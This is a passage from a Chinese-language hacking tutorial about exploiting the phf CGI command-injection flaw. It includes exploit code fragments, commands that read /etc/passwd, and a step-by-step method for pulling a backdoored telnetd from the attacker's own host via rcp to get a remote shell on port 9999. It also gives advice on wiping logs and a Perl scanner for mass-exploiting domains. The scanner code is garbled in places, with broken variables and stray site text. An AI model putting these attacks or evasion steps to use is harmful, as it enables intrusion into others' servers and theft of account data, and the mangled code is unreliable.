while(bytes == 128) {
bytes = read(s, buffer, 128);
fprintf(stdout, buffer);
}
close(s);
}
-------- cut here
使用举例:
bash% phf id xxx.org
------
query results
/usr/local/bin/ph -m alias=x
id
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
</get /cgi-bin/phf/?qalias=x
id
------
以上是系统对程序的响应。再说一次,使用 代替命令行中的空格符。
使用如下格式可显示passwd档:
phf cat /etc/passwd hostname.xxx
另外,quantumg在他的主页上提供了利用phf的新方法,我觉得有必要让大家
了解一下。
内容如下:
--------------------------------------------------------------------------------
phf 查询攻击新方法
是的。我知道phf攻击已经是众所周知了,但你会奇怪为什么还有那么多笨的
linux用户。。。
首先...先介绍一下背景:
phf是apache上www服务器的cgi-bin命令。它存在缺陷,其后果是允许任何人以运行
http服务器用户的身份执行命令。通常该用户是nobody,但有时是root。要利用这一
缺陷,只需简单地连接了该web服务器,并执行以下查询:
get /cgi-bin/phf/?qalias=x
其后跟着你所希望运行的命令(用 代替空格符)。
ok。以下是攻击方法。我们所要做的就是寻找存在phf漏洞的linux服务器。(我
经常telnet到issue.net查找。)和大多数人一样,我使用loxsmith编写的phf程序。
该程序要求把目标主机名放在第二个参数,而所要执行的命令放在第一个参数:
phf id www.host.to.hack
这里id就是所要执行的命令,这往往是我第一步都会做的。因为它不仅告诉你此
系统是不存在此漏洞,还可以提供httpd用户的信息。因此,如果我们得到一个理想
的响应,那就意味它就是我们的目标了。第一件事是获取目标主机上的有用资料,
这并不是一件难事。你可以 (1)、检查是否有可读写的ftp目录;(2)使用rcp
(这是我最喜欢用的)。为了使用这个命令,你需要对本地主机进行设置。(如果
本地主机是你hack过的,那就好办多了。)首先是获得有效的用户帐号,名字应该
简单而不易被注意(如:test);其次,把目标主机名写入本地主机的/etc/host.equiv
中;接着就是在/etc/inetd.conf中必须有shell行;最后,在用户(test)根目录下建立
含有目标主机名和httpd用户的.rhost文件。如下:
/etc/hosts.equiv:
www.host.to.hack
/etc/inetd.conf:
shell stream tcp nowait root /usr/sbin/tcpd in.rshd -l
~test/.rhosts:
www.host.to.hack nobody
好。一旦一切都设置好了,便可以从远程主机上获取资料了。
我以前采用的hack方法,都是将经过多次修改的小hack代码传送给phf执行。
这并是一件轻松的事情,而且效率也不高。现在我找到了一个更好的解决办法
被传送的是一个经过修改的in.telnetd,它被改为在“debug”方式下启动,“debug”
方式将允许从端口9999登录,而且执行的shell是/bin/sh,而不是/bin/login。
该in.telnetd允许在端口9999接受任意多的连接和执行shell。
因而,为了使远程主机做到这一点,所要做的就是将其放入用户根目录,
并确保可读。然后执行:
phf 'rcp test@my.ip.address:bindwarez /tmp' www.host.to.hack
在本地日志文件中,你会看到一个与in.rshd的连接和它所执行的命令(如:
rcp -f bindwarez)...当phf执行完后,bindwarez会被复制到远程主机上的/tmp
目录下,于是你便可以执行这个文件并远程登录到端口9999。
如果这个网站的用户笨到以root运行http,你就可以通过安装一个in.telnetd
特洛木马并清除日志,以获得root用户的密码。然而,在大多数情况下,你只能
获得nobody权限,需要通过系统的其它漏洞去“黑”root用户。我常常发现这并不
困难,因为系统管理员往往认为没有人会在www服务器上运行shell,因而没有必要
设置安全系统。很显示,他们并不了解自己的系统是否存在phf缺陷。
在这里,我不必再次强调清除日志的重要性。你在rcp命令中输入的地址是可以让
系统管理员轻易发现的。这些日志通常在/usr/local/etc/httpd/logs或/var/lib/http/logs下。
最简单的方法是在这些路径上查找它。如果找不到,可以执行find / -name cgi-bin。
另外,不要忘记清除indwarez进程和删除/tmp/bindwarez文件。
这个非常巧妙的攻击方法让phf做你想做的事,而phf对此却无可奈何。 ;-))
l8s
quantumg
另一个利用phf的方法就是执行以下脚本。它使用了从rs.internic.net下载并用
getdomain.pl分析出的域名文件。geturl.pl脚本可以探测网络上的每一台domain。
脚本内容如下:
geturl.pl
#!/usr/bin/perl -w
#
# geturl by nfin8 / invisible evil
# questions to: /msg i-e or /msg i^e
#
# format of http://website.dom/cgi-bin/phf?qalias=x
/usr/bin/id
# format of http://website.dom/cgi-bin/phf?qalias=x
/bin/cat /etc/passwd
# if result of first command returns an "id=" then check for user. if user
# is not root then execute the 2nd form.
# assign null list to @urls which will be added to later.
my(@urls)=();
my($program) = "lynx -dump";
# pull off filename from commandline. if it isn't defined, then assign default.
my($urlfilename) = shift;
$urlfilename = "urls" if !defined($urlfilename);
# do checking on input.
die("geturl: $urlfilename is a directory.\n") if (-d $urlfilename);
# open and read contents of url file into @url by line.
open(file, $urlfilename) or die("geturl: cannot open $urlfilename for input.\n");
@urls = ;
close(file);
# open output file.
open(outfile, ">>geturlresults") or die("geturl: cannot open output file.\n");
my($url)="";
foreach $url (@urls) {
print ("now checking: $url");
chomp($url);
$result = `$program http://$/cgi-bin/phf?qalias=x
/usr/bin/id`;
print outfile ("\n============ $url ============\n");
foreach (split(/\n/, $result)) {
print outfile ("?用户名:@hackbase.net密?码:
\n");
}
if ($result =~ m/id=/i) {
if ($result =~ m/root/i) {
print ("logging root response.\n");
} else {
print ("got id response, getting /etc/passwd...");
$result = `$program http://$/cgi-bin/phf?qalias=x
/bin/cat /etc/passwd`;
# output results to file named .passwd;
local($domainfilename)="";
$domainfilename = $url;
if (open(passwdfile, ">$.passwd")) {
print passwdfile ("\n");
foreach (split(/\n/, $result)) {
print passwdfile ("?用户名:@hackbase.net密?码:
发表评论